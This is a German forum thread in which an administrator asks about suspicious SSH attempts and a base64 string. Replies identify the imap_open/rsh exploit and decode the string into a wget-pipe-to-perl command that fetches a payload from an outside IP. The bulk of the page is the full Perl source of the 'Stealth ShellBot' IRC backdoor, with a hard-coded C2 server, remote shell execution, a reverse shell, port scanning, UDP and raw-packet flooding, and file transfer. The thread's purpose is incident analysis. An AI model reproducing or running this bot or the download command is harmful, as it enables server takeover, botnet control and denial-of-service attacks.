lord-icon
Goto Top

Ungewöhnliche SSH Verbindungen

Am Dienstag hatte ich merkwürdige SSH Verbindungen festgestellt.

In den Logs sind massig fehlerhafte Loginversuche aufgeführt. Ein direkter Login konnte ich nicht feststellen.
Da ich es auch nicht ausschließen konnte und nichts sagenhaft bewegendes drauf läuft hab ich kurzrum einen neuen Server aufgesetzt und aus n Backup die HTML Daten wiederhergestellt. Vom Server stammen nur die Datenbanken.
Passwörter hab ich auch geändert. Aktuell ist der Server wieder lauffähig ohne SSH-Attacken. Fail2bann wurde diemal auch eingerichtet.


So.. nun meine Frage an euch:
Der Server ist nachwievor einsatzbereit. Wenn ich diesen wieder anfahre, dann dauert es nicht lange und die Verbindungen sind wieder da.
Würde diesen also nur zeitweise alias Honeypot einschalten.
Grund: Ich würde schon gern rausbekommen wollen
a: was passiert da. rsh über www-data ?? Schon mal sehr ungewöhnlich
b: kann einer diesen base64 Code entschlüsseln ? bzw. mir sagen, was da versucht wird ?

Da ich wa von proxy gelesen habe habe ich natürlich auch mal ein nmap -v gecannt. Hier sind keine weiteren ungewünschten Ports sichtbar (21/22/25/80/443/465)

Habt Dank für Ideen

P.s. ist ein altes eigensgeschriebenes Script. Damit ich es evtl. überarbeiten müsste ich natürlich wissen, wie und worüber die reingekommen sind.
Wenn es SSH war, dann sollte das Problem mit dem neuaufsetzen erledigt sein. Hat man was gefunden in den php-Scripten ist es nur ne Frage der Zeit bis die neue IP gefunden wird.

unbenannt

Content-Key: 418535

Url: https://administrator.de/contentid/418535

Printed on: April 16, 2024 at 12:04 o'clock

Member: SeaStorm
Solution SeaStorm Feb 15, 2019 at 14:47:08 (UTC)
Goto Top
Hi

sieht mir nach dem imap_open+rsh exploit aus:

https://people.canonical.com/~ubuntu-security/cve/2018/CVE-2018-19518.ht ...

Hier ein paar mehr Infos:
https://bugs.launchpad.net/ubuntu/+source/php7.2/+bug/1803657


also: PHP (und rsh) aktuell halten !
Mitglied: 138810
Solution 138810 Feb 15, 2019 updated at 15:19:08 (UTC)
Goto Top
kann einer diesen base64 Code entschlüsseln ? bzw. mir sagen, was da versucht wird ?
Da wird der Malware Payload der des o.g. Exploits von einem gehackten Server über wget geladen und direkt an perl zum Ausführen weitergegeben.

d2dldCAtcU8gLSBodHRwOi8vMTQ2LjE4NS4xNjcuMzkvc2F4b3xwZXJswget -qO - http://146.185.167.39/saxo|perl

Mit folgendem Perl - Code für die Backdoor zum CC Server

#!/usr/bin/perl
#          - Adicionado comando !estatisticas ;
#          - Alterado o comando @pacota para @oldpack;
#          - Adicionado dois novos pacotadores: @udp    e @udpfaixa   ;
#          - Adicionado um novo portscan -> @fullportscan   ;
#          - Adicionado comando @conback   com suporte para Windows/Unix :D;
#          - Adicionado comando: !sair para finalizar o bot;
#          - Adicionado comando: !novonick para trocar o nick do bot por um novo aleatorio;
#          - Adicionado comando !entra   e !sai  ;
#          - Adicionado comando @download  ;
#          - Adicionado comando !pacotes  para ativar/desativar pacotes :);

########## CONFIGURACAO ############
my $processo = '/usr/local/apache/bin/httpd -DSSL';  

$servidor='94.100.28.2' unless $servidor;  
my $porta='143';  
my @canais=("#afk");  
my @adms=("X" , "P");  
my @auth=("*!*@localhost");  

# Anti Flood ( 6/3 Recomendado )
my $linas_max=10;
my $sleep=4;

my $nick = getnick();
my $ircname = getnick();
my $realname = getnick();

my $acessoshell = 1;
######## Stealth ShellBot ##########
my $prefixo = "!u";  
my $estatisticas = 0;
my $pacotes = 1;
####################################

my $VERSAO = '0.2a';  

$SIG{'INT'} = 'IGNORE';  
$SIG{'HUP'} = 'IGNORE';  
$SIG{'TERM'} = 'IGNORE';  
$SIG{'CHLD'} = 'IGNORE';  
$SIG{'PS'} = 'IGNORE';  

use IO::Socket;
use Socket;
use IO::Select;
chdir("/");  
$servidor="$ARGV" if $ARGV;  
$0="$processo"."\0";  
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);  

my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();

#####################
# Stealth Shellbot  #
#####################



sub getnick {
  #my $retornonick = &_get("https://github.com/dominictarr/random-name/blob/master/first-names.txt"); 
  #return $retornonick;
return "xxx".int(rand(999999));  
}


sub getident {
  my $retornoident = &_get("http://www.minpop.com/sk12pack/idents.php");  
  my $identchance = int(rand(1000));
  if ($identchance > 30) {
     return $nick;
  } else {
     return $retornoident;
  }
  return $retornoident;
}

sub getname {
  my $retornoname = &_get("http://www.minpop.com/sk12pack/names.php");  
  return $retornoname;
}

# IDENT TEMPORARIA - Pegar ident da url ta bugando o_o
sub getident2 {
        my $length=shift;
        $length = 3 if ($length < 3);

        my @chars=('a'..'z','A'..'Z','1'..'9');  
        foreach (1..$length)
        {
                $randomstring.=$chars[rand @chars];
        }
        return $randomstring;
}

sub getstore ($$)
{
  my $url = shift;
  my $file = shift;

  $http_stream_out = 1;
  open(GET_OUTFILE, "> $file");  
  %http_loop_check = ();
  _get($url);
  close GET_OUTFILE;
  return $main::http_get_result;
}

sub _get
{
  my $url = shift;
  my $proxy = "";  
  grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;  
  if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {  
    my $host = $1;
    my $port = $2 || 80;
    my $path = $3;
    $path = "/" unless defined($path);  
    return _trivial_http_get($host, $port, $path);
  } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
    my $host = $1;
    my $port = $2;
    my $path = $url;
    return _trivial_http_get($host, $port, $path);
  } else {
    return undef;
  }
}


sub _trivial_http_get
{
  my($host, $port, $path) = @_;
  my($AGENT, $VERSION, $p);
  #print "HOST=$host, PORT=$port, PATH=$path\n"; 

  $AGENT = "get-minimal";  
  $VERSION = "20000118";  

  $path =~ s/ /%20/g;

  require IO::Socket;
  local($^W) = 0;
  my $sock = IO::Socket::INET->new(PeerAddr => $host,
                                   PeerPort => $port,
                                   Proto   => 'tcp',  
                                   Timeout  => 60) || return;
  $sock->autoflush;
  my $netloc = $host;
  $netloc .= ":$port" if $port != 80;  
  my $request = "GET $path HTTP/1.0\015\012"  
              . "Host: $netloc\015\012"  
              . "User-Agent: $AGENT/$VERSION/u\015\012";  
  $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);  
  $request .= "\015\012";  
  print $sock $request;

  my $buf = "";  
  my $n;
  my $b1 = "";  
  while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
    if ($b1 eq "") { # first block?  
      $b1 = $buf;         # Save this for errorcode parsing
      $buf =~ s/.+?\015?\012\015?\012//s;      # zap header
    }
    if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }  
  }
  return undef unless defined($n);

  $main::http_get_result = 200;
  if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
    $main::http_get_result = $1;
    # print "CODE=$main::http_get_result\n$b1\n"; 
    if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
) {
      # redirect
      my $url = $1;
      return undef if $http_loop_check{$url}++;
      return _get($url);
    }
    return undef unless $main::http_get_result =~ /^2/;
  }

  return $buf;
}

#############################
#  B0tchZ na veia ehehe :P  #
#############################

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') { 
    my $socket = $_;
    print $socket "$_[1]\n";  
  } else {
      print $IRC_cur_socket "$_\n";  
  }
}

sub conectar {
   my $meunick = $_;
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);  
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";  
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";  
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;  
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;  
     nick("$meunick");  
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");  
     sleep 2;
   }

}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }  
   delete($irc_servers{''}) if (defined($irc_servers{''}));  
   &DCC::connections;
   my @ready = $sel_cliente->can_read(0.6);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};  
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';  
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");  
       } else {
           if ($#lines == 0) {
             parse("$line");  
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");  
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");  
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");  
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 ENE ALIN GABRIEL\001");  
       }
       elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
         notice("$pn", "\001PONG\001");  
       }
       elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){  
           shell("$pn", "$args");  
           }
         elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);  
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");  
            } else {
                shell("$onde", "$arg");  
            }
         }
       }
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;  
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       $meunick = getnick();
       nick("$meunick");  
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;  
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";  
       foreach my $canal (@canais) {
         sendraw("JOIN $canal");  
       }
   }
}

sub bfunc {
  my $printl = $_;
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";  
             my @portas=("21","22","23","25","53","80","110","143");  
             my (@aberta, %porta_banner);
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);  
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }
             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");  
             } else {
                 sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");  
             }
           }

           elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
            getstore("$1", "$2");  
            sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas);  
            }

           elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
             my $hostname="$1";  
             my $portainicial = "$2";  
             my $portafinal = "$3";  
             my (@abertas, %porta_banner);
             foreach my $porta ($portainicial..$portafinal)
             {
               my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);  
               if ($scansock) {
                 push (@abertas, $porta);
                 $scansock->close;
                 if ($estatisticas) {
                   sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");  
                 }
               }
             }
             if (@abertas) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");  
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");  
             }
            }

            # Duas Vers.es simplificada do meu Tr0x ;D
            elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
              return unless $pacotes;
              socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
              my $alvo=inet_aton("$1");  
              my $porta = "$2";  
              my $tempo = "$3";  
              my $pacote;
              my $pacotese;
              my $fim = time + $tempo;
              my $pacota = 1;
              while (($pacota == "1") && ($pacotes == "1")) {  
                $pacota = 0 if ((time >= $fim) && ($tempo != "0"));  
                $pacote=$rand x $rand x $rand;
                $porta = int(rand 65000) +1 if ($porta == "0");  
                send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");  
              }
              if ($estatisticas)
              {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");  
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");  
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1");  
              }
            }

            elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
              return unless $pacotes;
              socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
              my $faixaip="$1";  
              my $porta = "$2";  
              my $tempo = "$3";  
              my $pacote;
              my $pacotes;
              my $fim = time + $tempo;
              my $pacota = 1;
              my $alvo;
              while ($pacota == "1") {  
                $pacota = 0 if ((time >= $fim) && ($tempo != "0"));  
                for (my $faixa = 1; $faixa <= 255; $faixa++) {
                  $alvo = inet_aton("$faixaip.$faixa");  
                  $pacote=$rand x $rand x $rand;
                  $porta = int(rand 65000) +1 if ($porta == "0");  
                  send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");  
                  if ($faixa >= 255) {
                    $faixa = 1;
                  }
                }
              }
              if ($estatisticas)
              {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");  
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");  
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");  
              }
            }

            # Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows ;p
            elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
              my $host = "$1";  
              my $porta = "$2";  
              my $proto = getprotobyname('tcp');  
              my $iaddr = inet_aton($host);
              my $paddr = sockaddr_in($porta, $iaddr);
              my $shell = "/bin/sh -i";  
              if ($^O eq "MSWin32") {  
                $shell = "cmd.exe";  
              }
              socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";  
              connect(SOCKET, $paddr) or die "connect: $!";  
              open(STDIN, ">&SOCKET");  
              open(STDOUT, ">&SOCKET");  
              open(STDERR, ">&SOCKET");  
              system("$shell");  
              close(STDIN);
              close(STDOUT);
              close(STDERR);

              if ($estatisticas)
              {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");  
              }
            }

           elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
            return unless $pacotes;
             my ($dtime, %pacotes) = attacker("$1", "$2", "$3");  
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             unless ($estatisticas)
             {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status -\002");  
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Timp\002: $dtime"."secunde.");  
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total packet\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}));  
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));  
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Flood\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");  
             }
           }
           exit;
       }
  }
}

sub ircase {
  my ($kem, $printl, $case) = @_;

   if ($case =~ /^join (.*)/) {
     j("$1");  
   }
   elsif ($case =~ /^part (.*)/) {
      p("$1");  
   }
   elsif ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");  
          j("$2");  
        }
      } else {
          p("$chan");  
          j("$chan");  
      }
   }
   elsif ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";  
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);  
   }
   elsif ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";  
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);  
   }
   elsif ($case =~ /^voice/) {
      voice("$printl", "$kem") if $case eq "voice";  
      $oarg = substr($case, 6);
      voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);  
   }
   elsif ($case =~ /^devoice/) {
      devoice("$printl", "$kem") if $case eq "devoice";  
      $oarg = substr($case, 8);
      devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);  
   }
   elsif ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");  
   }
   elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");  
      }
   }
   elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");  
      }
   }
   elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");  
   }
   elsif ($case =~ /^invite\s+(\S+) (.*)/) {
      invite("$1", "$2");  
   }
   elsif ($case =~ /^nick (.*)/) {
      nick("$1");  
   }
   elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);  
   }
   elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
      DCC::SEND("$1", "$2");  
   }
   elsif ($case =~ /^raw (.*)/) {
      sendraw("$1");  
   }
   elsif ($case =~ /^eval (.*)/) {
      eval "$1";  
   }
   elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
    sleep int(rand($2));
    j("$1");  
   }
   elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
    sleep int(rand($2));
    p("$1");  
   }
   elsif ($case =~ /^sair/) {
     quit();
   }
   elsif ($case =~ /^novonick/) {
    my $novonick = getnick();
     nick("$novonick");  
   }
   elsif ($case =~ /^estatisticas (.*)/) {
     if ($1 eq "on") {  
      $estatisticas = 1;
      msg("$printl", "Estat.sticas ativadas!");  
     } elsif ($1 eq "off") {  
      $estatisticas = 0;
      msg("$printl", "Estat.sticas desativadas!");  
     }
   }
   elsif ($case =~ /^pacotes (.*)/) {
     if ($1 eq "on") {  
      $pacotes = 1;
      msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");  
     } elsif ($1 eq "off") {  
      $pacotes = 0;
      msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");  
     }
   }
}
sub shell {
  return unless $acessoshell;
  my $printl=$_;
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "Diret.rio inexistente!");  
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");  
             if ($c >= "$linas_max") {  
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
  my $iaddr = inet_aton($_);
  my $msg = 'B' x $_[1];  
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65535; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);

       # DoS ?? :P
       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
       }
     }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

#############
#  ALIASES  #
#############

sub action {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_ :\001ACTION $_[1]\001");  
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_ :\001$_[1]\001");  
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_ :$_[1]");  
}

sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_ :$_[1]");  
}

sub op {
   return unless $#_ == 1;
   sendraw("MODE $_ +o $_[1]");  
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_ -o $_[1]");  
}
sub hop {
    return unless $#_ == 1;
   sendraw("MODE $_ +h $_[1]");  
}
sub dehop {
   return unless $#_ == 1;
   sendraw("MODE $_ +h $_[1]");  
}
sub voice {
   return unless $#_ == 1;
   sendraw("MODE $_ +v $_[1]");  
}
sub devoice {
   return unless $#_ == 1;
   sendraw("MODE $_ -v $_[1]");  
}
sub ban {
   return unless $#_ == 1;
   sendraw("MODE $_ +b $_[1]");  
}
sub unban {
   return unless $#_ == 1;
   sendraw("MODE $_ -b $_[1]");  
}
sub kick {
   return unless $#_ == 1;
   sendraw("KICK $_ $_[1] :$_[2]");  
}

sub modo {
   return unless $#_ == 0;
   sendraw("MODE $_ $_[1]");  
}
sub mode { modo(@_); }

sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_");  
}
sub p { part(@_); }
sub part {sendraw("PART $_");}  

sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_");  
}

sub invite {
   return unless $#_ == 1;
   sendraw("INVITE $_[1] $_");  
}
sub topico {
   return unless $#_ == 1;
   sendraw("TOPIC $_ $_[1]");  
}
sub topic { topico(@_); }

sub whois {
  return unless $#_ == 0;
  sendraw("WHOIS $_");  
}
sub who {
  return unless $#_ == 0;
  sendraw("WHO $_");  
}
sub names {
  return unless $#_ == 0;
  sendraw("NAMES $_");  
}
sub away {
  sendraw("AWAY $_");  
}
sub back { away(); }
sub quit {
  sendraw("QUIT :$_");  
  exit;
}

# DCC
package DCC;

sub connections {
   my @ready = $dcc_sel->can_read(1);
#   return unless (@ready);
   foreach my $fh (@ready) {
     my $dcctipo = $DCC{$fh}{tipo};
     my $arquivo = $DCC{$fh}{arquivo};
     my $bytes = $DCC{$fh}{bytes};
     my $cur_byte = $DCC{$fh}{curbyte};
     my $nick = $DCC{$fh}{nick};

     my $msg;
     my $nread = sysread($fh, $msg, 10240);

     if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
        $DCC{$fh}{status} = "Cancelado";  
        $DCC{$fh}{ftime} = time;
        $dcc_sel->remove($fh);
        $fh->close;
        next;
     }

     if ($dcctipo eq "get") {  
        $DCC{$fh}{curbyte} += length($msg);

        my $cur_byte = $DCC{$fh}{curbyte};

        open(FILE, ">> $arquivo");  
        print FILE "$msg" if ($cur_byte <= $bytes);  
        close(FILE);

        my $packbyte = pack("N", $cur_byte);  
        print $fh "$packbyte";  

        if ($bytes == $cur_byte) {
           $dcc_sel->remove($fh);
           $fh->close;
           $DCC{$fh}{status} = "Recebido";  
           $DCC{$fh}{ftime} = time;
           next;
        }
     } elsif ($dcctipo eq "send") {  
          my $send = $fh->accept;
          $send->autoflush(1);
          $dcc_sel->add($send);
          $dcc_sel->remove($fh);
          $DCC{$send}{tipo} = 'sendcon';  
          $DCC{$send}{itime} = time;
          $DCC{$send}{nick} = $nick;
          $DCC{$send}{bytes} = $bytes;
          $DCC{$send}{curbyte} = 0;
          $DCC{$send}{arquivo} = $arquivo;
          $DCC{$send}{ip} = $send->peerhost;
          $DCC{$send}{porta} = $send->peerport;
          $DCC{$send}{status} = "Enviando";  

          #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
          open(FILE, "< $arquivo");  
          my $fbytes;
          read(FILE, $fbytes, 1024);
          print $send "$fbytes";  
          close FILE;
#          delete($DCC{$fh});
     } elsif ($dcctipo eq 'sendcon') {  
          my $bytes_sended = unpack("N", $msg);  
          $DCC{$fh}{curbyte} = $bytes_sended;
          if ($bytes_sended == $bytes) {
             $fh->close;
             $dcc_sel->remove($fh);
             $DCC{$fh}{status} = "Enviado";  
             $DCC{$fh}{ftime} = time;
             next;
          }
          open(SENDFILE, "< $arquivo");  
          seek(SENDFILE, $bytes_sended, 0);
          my $send_bytes;
          read(SENDFILE, $send_bytes, 1024);
          print $fh "$send_bytes";  
          close(SENDFILE);
     }
   }
}


sub SEND {
  my ($nick, $arquivo) = @_;
  unless (-r "$arquivo") {  
    return(0);
  }

  my $dccark = $arquivo;
  $dccark =~ s/[.*\/](\S+)/$1/;

  my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};  
  my $longip = unpack("N",inet_aton($meuip));  

  my @filestat = stat($arquivo);
  my $size_total=$filestat[7];
  if ($size_total == 0) {
     return(0);
  }

  my ($porta, $sendsock);
  do {
    $porta = int rand(64511);
    $porta += 1024;
    $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);  
  } until $sendsock;

  $DCC{$sendsock}{tipo} = 'send';  
  $DCC{$sendsock}{nick} = $nick;
  $DCC{$sendsock}{bytes} = $size_total;
  $DCC{$sendsock}{arquivo} = $arquivo;


  &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");  

}

sub GET {
  my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  return(0) if (-e "$arquivo");  
  if (open(FILE, "> $arquivo")) {  
     close FILE;
  } else {
    return(0);
  }

  my $dccip=fixaddr($dcclongip);
  return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);  
  $dccsock->autoflush(1);
  $dcc_sel->add($dccsock);
  $DCC{$dccsock}{tipo} = 'get';  
  $DCC{$dccsock}{itime} = time;
  $DCC{$dccsock}{nick} = $nick;
  $DCC{$dccsock}{bytes} = $bytes;
  $DCC{$dccsock}{curbyte} = 0;
  $DCC{$dccsock}{arquivo} = $arquivo;
  $DCC{$dccsock}{ip} = $dccip;
  $DCC{$dccsock}{porta} = $dccporta;
  $DCC{$dccsock}{status} = "Recebendo";  
}

# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
sub Status {
  my $socket = shift;
  my $sock_tipo = $DCC{$socket}{tipo};
  unless (lc($sock_tipo) eq "chat") {  
    my $nick = $DCC{$socket}{nick};
    my $arquivo = $DCC{$socket}{arquivo};
    my $itime = $DCC{$socket}{itime};
    my $ftime = time;
    my $status = $DCC{$socket}{status};
    $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});

    my $d_time = $ftime-$itime;

    my $cur_byte = $DCC{$socket}{curbyte};
    my $bytes_total =  $DCC{$socket}{bytes};

    my $rate = 0;
    $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
    my $porcen = ($cur_byte*100)/$bytes_total;

    my ($r_duv, $p_duv);
